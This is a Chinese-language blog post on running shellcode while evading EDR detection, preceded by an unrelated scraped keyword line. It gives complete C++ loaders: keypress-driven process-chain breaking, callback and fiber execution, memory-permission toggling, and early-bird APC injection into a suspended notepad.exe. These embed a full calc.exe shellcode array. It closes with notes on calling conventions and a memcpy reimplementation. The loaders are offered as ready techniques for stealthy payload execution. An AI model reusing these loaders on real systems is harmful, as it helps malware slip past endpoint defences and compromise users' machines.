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干事儿网网站开发,wordpress 绑定域名,如何查找网站根目录,中小企业erp系统哪个好文章目录 前记进程断链回调执行纤程内存属性修改early birdMapping后记reference 前记 触发EDR远程线程扫描关键api：createprocess、createremotethread、void（指针）、createthread 为了更加的opsec，尽量采取别的方式执行恶意代…

文章目录

    • 前记
    • 进程断链
    • 回调执行
    • 纤程
    • 内存属性修改
    • early bird+Mapping
    • 后记
    • reference

前记

触发EDR远程线程扫描关键api：createprocess、createremotethread、void（指针）、createthread

为了更加的opsec，尽量采取别的方式执行恶意代码，下面简单给出一些思路

进程断链

#include <windows.h>
#include<iostream>void SimulateKeyPress(WORD keyCode) {INPUT inputs[2] = {};ZeroMemory(inputs, sizeof(inputs));inputs[0].type = INPUT_KEYBOARD;inputs[0].ki.wVk = keyCode;Sleep(500);inputs[1].type = INPUT_KEYBOARD;inputs[1].ki.dwFlags = KEYEVENTF_KEYUP;UINT uSent = SendInput(2, inputs, sizeof(INPUT));
}
int main()
{// 调用 ShellExecute 函数，执行一个命令HINSTANCE  hReturn = ShellExecuteA(NULL, "explore", "C:\\security\\tmp", NULL, NULL, SW_HIDE);//SW_RESTOREif ((int)hReturn < 32) {printf("0");return 0;}printf("% d", (int)hReturn);HWND hExplorer = FindWindowA("CabinetWClass", NULL);if (hExplorer) {// 将资源管理器窗口设置为前台窗口SetForegroundWindow(hExplorer);}else {printf("Explorer window not found.\n");}SimulateKeyPress(0x32);//这里以ascii为参数，实际为'2.exe'SimulateKeyPress(VK_RETURN);return 0;
}

通过模拟键盘点击，完成进程断链，父进程为explore

在这里插入图片描述

进程断链相比于父进程欺骗更加安全，但是在核晶环境下会被禁止模拟键盘的行为

回调执行

回调可以很好的规避EDR对远程线程的内存扫描，举例如下

#include <windows.h>
#include<iostream>//calc shellcode
unsigned char rawData[276] = {};
int main()
{LPVOID addr = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(addr, rawData, sizeof(rawData));EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)addr, NULL);return 0;
}

纤程

纤程允许在单个线程中有多个执行流，每个执行流都有自己的寄存器状态和堆栈。另一方面，纤程对内核是不可见的，这使得它们成为一种比生成新线程更隐秘的内存代码执行方法。

#include <windows.h>void like() {//calc shellcodeunsigned char rawData[276] = {0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00};LPVOID fiber = ConvertThreadToFiber(NULL);LPVOID Alloc = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);CopyMemory(Alloc, rawData, sizeof(rawData));LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);SwitchToFiber(shellFiber);
}int main() {like();
}

内存属性修改

内存属性修改流程：RW->NA->sleep->RW->NA->sleep->Rx->CreateThread->ResumeThread

让EDR扫描内存时处于无权限状态即可

early bird+Mapping

early bird，APC注入的变种

Mapping:内存映射

  • 创建一个挂起的进程(通常是windows的合法进程)
  • 在挂起的进程内申请一块可读可写可执行的内存空间
  • 往申请的空间内写入shellcode
  • 将APC插入到该进程的主线程
  • 恢复挂起进程的线程
#include <Windows.h>
#include <iostream>
#pragma comment (lib, "OneCore.lib")void mymemcpy(void* dst, void* src, size_t size);
int main()
{//calc shellcodeunsigned char rawData[276] = {0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00};LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";STARTUPINFO sInfo = { 0 };PROCESS_INFORMATION pInfo = { 0 };sInfo.cb = sizeof(STARTUPINFO);CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&sInfo, &pInfo);HANDLE hProc = pInfo.hProcess;HANDLE hThread = pInfo.hThread;HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(rawData), NULL);LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(rawData));mymemcpy(lpMapAddress, rawData, sizeof(rawData));LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProc, 0, NULL, 0, 0, PAGE_EXECUTE_READ);QueueUserAPC(PAPCFUNC(lpMapAddressRemote), hThread, NULL);ResumeThread(hThread);CloseHandle(hThread);CloseHandle(hProc);CloseHandle(hMapping);UnmapViewOfFile(lpMapAddress);return 0;
}
void mymemcpy(void* dst, void* src, size_t size)
{char* psrc, * pdst;if (dst == NULL || src == NULL)return;if (dst <= src){psrc = (char*)src;pdst = (char*)dst;while (size--)*pdst++ = *psrc++;}else{psrc = (char*)src + size - 1;pdst = (char*)dst + size - 1;while (size--) {*pdst-- = *psrc--;}}
}

后记

传参规则

#include<iostream>
using namespace std;
void func(int a, int b)
{cout << "func:\n";cout << "a = " << a << "\tb = " << b << endl;
}
int main(void)
{int v = 3;func(v, v++);cout << "v=" << v;v = 3;func(v, ++v);v = 3;func(++v, v);v = 3;func(v++, v);return 0;
}

func:
a = 3 b = 3
v=4
func:
a = 4 b = 4
func:
a = 4 b = 4
func:
a = 3 b = 3

函数声明区别

__cdecl:

C/C++默认方式，参数从右向左入栈，主调函数负责栈平衡。

__stdcall：

windows API默认方式，参数从右向左入栈，被调函数负责栈平衡。

__fastcall：

快速调用方式。所谓快速，这种方式选择将参数优先从寄存器传入（ECX和EDX），剩下的参数再从右向左从栈传入。

在x86下出现明显特征

    19: 	func1(4, 5);//__cdecl
00981B31 6A 05                push        5  
00981B33 6A 04                push        4  
00981B35 E8 2D F7 FF FF       call        func1 (0981267h)  
00981B3A 83 C4 08             add         esp,8  20: 	func2(4, 5);//__stdcall
00981B3D 6A 05                push        5  
00981B3F 6A 04                push        4  
00981B41 E8 62 F7 FF FF       call        func2 (09812A8h)  21: 	func3(4, 5);//__fastcall
00981B46 BA 05 00 00 00       mov         edx,5  
00981B4B B9 04 00 00 00       mov         ecx,4  
00981B50 E8 2C F6 FF FF       call        func3 (0981181h)

自实现copymemory

void mymemcpy(void* dst, void* src, size_t size)
{char* psrc, * pdst;if (dst == NULL || src == NULL)return;if (dst <= src){psrc = (char*)src;pdst = (char*)dst;while (size--)*pdst++ = *psrc++;}else{psrc = (char*)src + size - 1;pdst = (char*)dst + size - 1;while (size--) {*pdst-- = *psrc--;}}
}

reference

https://www.cnblogs.com/fdxsec/p/17995030#1winexec
https://github.com/aahmad097/AlternativeShellcodeExec
https://xz.aliyun.com/t/11153?time__1311=mqmx0DyDcDn0e7KDsKoYKmc8KDC7KFD9BoD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-9
http://www.bjxfkj.com.cn/article/111050.html

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